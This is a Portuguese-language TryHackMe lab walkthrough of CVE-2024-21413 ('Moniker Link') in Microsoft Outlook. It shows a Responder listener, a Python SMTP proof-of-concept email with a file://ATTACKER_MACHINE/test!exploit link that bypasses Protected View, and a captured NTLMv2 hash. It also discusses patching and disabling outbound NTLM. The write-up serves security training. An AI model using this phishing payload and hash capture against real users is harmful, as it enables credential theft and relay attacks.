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Passo a passo do TryHackMe Moniker Link (CVE-2024-21413): bypass da Protected View do Outlook que leva à captura do hash NTLMv2 por meio de um link moniker elaborado.

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há 16 diasAinda não revisado

TryHackMe: Moniker Link — Walkthrough do CVE-2024-21413

Um passo a passo completo da sala "Moniker Link" do TryHackMe: transformando o CVE-2024-21413, uma vulnerabilidade do Microsoft Outlook de 2024, em arma para roubar o hash NTLMv2 da vítima no momento em que ela clica em um link em um e-mail de phishing — sem macro, sem anexo, sem aviso de segurança óbvio.

O CVE-2024-21413 ("Moniker Link") é uma vulnerabilidade na forma como o Outlook valida links file:// que usam a sintaxe "moniker" do OLE do Windows (um ! final após o caminho, ex. file://host/share!something). O Outlook deveria abrir links de arquivos externos por meio do Protected View, que isola o arquivo e avisa o usuário antes que qualquer credencial possa vazar. O ! extra quebra o parser de URL do Outlook o suficiente para que ele ignore o Protected View por completo e entregue o link diretamente ao Windows, que — como parece um caminho UNC — tenta silenciosamente a autenticação SMB contra o servidor do atacante. Essa tentativa de autenticação vaza o hash NTLMv2 da vítima antes que a vítima tenha feito qualquer coisa além de clicar em um link de aparência normal.

Estrutura da sala

TarefaObjetivo
1. ReconhecimentoEntender o CVE e como o bug de parsing de moniker link ignora o Protected View

Passo a passo

1. Configurar o listener

root@kitploit:~
responder -I ens5

O Responder é iniciado na interface da máquina do atacante antes de qualquer envio, com envenenamento de LLMNR, NBT-NS e DNS habilitados. É isso que realmente captura o vazamento de credenciais: uma vez que o exploit engana o Outlook para tentar autenticação SMB contra o IP do atacante, o Responder é quem fica escutando do outro lado para capturá-la.

Responder escutando na ens5

1. Reconhecimento — a caixa de correio da vítima

O alvo é uma caixa de correio Outlook padrão, [email protected], na visualização normal da caixa de entrada antes de qualquer e-mail de phishing chegar — a linha de base a partir da qual o restante da sala trabalha.

caixa de entrada do Outlook da vítima antes do ataque

3. Armar o exploit — o script do exploit

root@kitploit:~
sender_email = '[email protected]'
receiver_email = '[email protected]'
...
<p><a href="file://ATTACKER_MACHINE/test!exploit">Click me</a></p>

O exploit (PoC público do CVE-2024-21413 do CMNatic) é um pequeno script em Python que constrói e envia um e-mail HTML via SMTP. O payload está inteiramente em uma linha: um link <a href="file://..."> apontando para a máquina do atacante, com um !exploit final anexado ao caminho. Esse ! final é todo o bug — é o que faz o parser de links do Outlook classificar incorretamente a URL e pular a verificação do Protected View que normalmente aplicaria a um link de arquivo externo.

código-fonte do exploit.py no nano

4. Entregar — enviando o e-mail

root@kitploit:~
python3 exploit.py
Enter your attacker email password: attacker
Email delivered

Executar o script autentica no servidor de e-mail e envia o e-mail elaborado para a vítima. Email delivered confirma que ele saiu com sucesso da caixa de correio do atacante.

execução do exploit.py, e-mail entregue

4. Entregar — chegando na caixa de entrada da vítima

O e-mail chega na caixa de entrada de [email protected] vindo de CMNatic, com assunto CVE-2024-21413, contendo nada além de um único hiperlink com o texto "Click me" — sem anexo, sem aviso de macro, nada que normalmente faria um filtro de phishing ou um usuário cauteloso desconfiar.

e-mail de phishing recebido na caixa de entrada da vítima

5. Capturar — a vítima clica no link

Clicar em "Click me" dispara a caixa de diálogo de erro do Windows Explorer do Outlook: "Não foi possível encontrar '\10.113.72.84\test!exploit'. Verifique se o local ou o endereço da web está correto." Esse erro na verdade é a prova de que o exploit já funcionou — quando essa caixa de diálogo aparece, o Windows já tentou resolver esse caminho UNC via SMB e já autenticou em 10.113.72.84 (a máquina do atacante) no processo. A falha visível é apenas o Explorer não conseguindo encontrar um compartilhamento que nunca deveria existir; o vazamento de credenciais já aconteceu silenciosamente antes mesmo de a caixa de erro aparecer.

erro de caminho UNC não encontrado no Outlook após clicar no link

5. Capturar — hash capturado no Responder

root@kitploit:~
[SMB] NTLMv2-SSP Username : THM-MONIKERLINK\tryhackme
[SMB] NTLMv2-SSP Hash     : tryhackme::THM-MONIKERLINK:3f2abcd40483ccba:...

De volta à máquina do atacante, o Responder já capturou o handshake NTLMv2-SSP completo de THM-MONIKERLINK\tryhackme, originado de 10.113.150.143 (a vítima). Sem prompt de credenciais, sem aviso de segurança e sem ação do usuário além de um único clique em o que parecia um link comum — o hash estava pronto para ser quebrado ou usado em relay no instante em que o Outlook tratou incorretamente o moniker link.

Responder capturando o hash NTLMv2

Ferramentas utilizadas

  • Responder — captura de autenticação SMB e envenenamento de LLMNR/NBT-NS/DNS
  • Um script Python SMTP personalizado (PoC do CVE-2024-21413 do CMNatic) — cria e entrega o e-mail com moniker link malicioso
  • Microsoft Outlook (cliente da vítima) — o componente vulnerável; versão afetada pelo CVE-2024-21413 anterior à correção da Microsoft de fevereiro de 2024

Principais conclusões

  • Um único caractere final (!) era a vulnerabilidade inteira. O CVE-2024-21413 é um bom lembrete de que parsers de URL/caminho são uma fonte comum de bypass de limites de segurança — uma entrada malformada não precisa ser complexa para passar por uma verificação; ela só precisa cair em um caminho de código que a verificação não cobre.
  • O Protected View existe especificamente para impedir essa classe de ataque, e o impacto real do bug era contorná-lo silenciosamente, e não o vazamento de NTLM em si — captura/relay de NTLM a partir de um link file:// é uma técnica antiga; o que tornou esse CVE notável foi que o Outlook não deveria deixar o link disparar sem nenhum aviso.
  • A autenticação NTLM vaza credenciais apenas por ser tentada, mesmo que o "compartilhamento" do outro lado não exista. A vítima nunca digitou uma senha nem viu um prompt de login; o Windows entregou um hash NTLMv2 automaticamente como parte de tentar (e falhar) navegar em um caminho UNC.
  • Da perspectiva da vítima, este é um ataque quase sem clique — um clique em um link sem anexo, sem macro e sem nenhum sinal de alerta óbvio foi suficiente. A aplicação de patches (a Microsoft corrigiu isso na atualização de fevereiro de 2024) e desabilitar a autenticação NTLM de saída para hosts não confiáveis são as duas mitigações reais; apenas o treinamento de usuários não teria impedido isso, já que nada no e-mail parecia incomum.
Baixar ferramenta
2. Configurar o listenerSubir o Responder para capturar a autenticação SMB de saída
3. Armar o exploitConstruir um e-mail de phishing contendo um moniker link malicioso
4. EntregarEnviar o e-mail para a caixa de correio da vítima
5. CapturarFazer a vítima clicar no link e capturar o hash NTLMv2 dela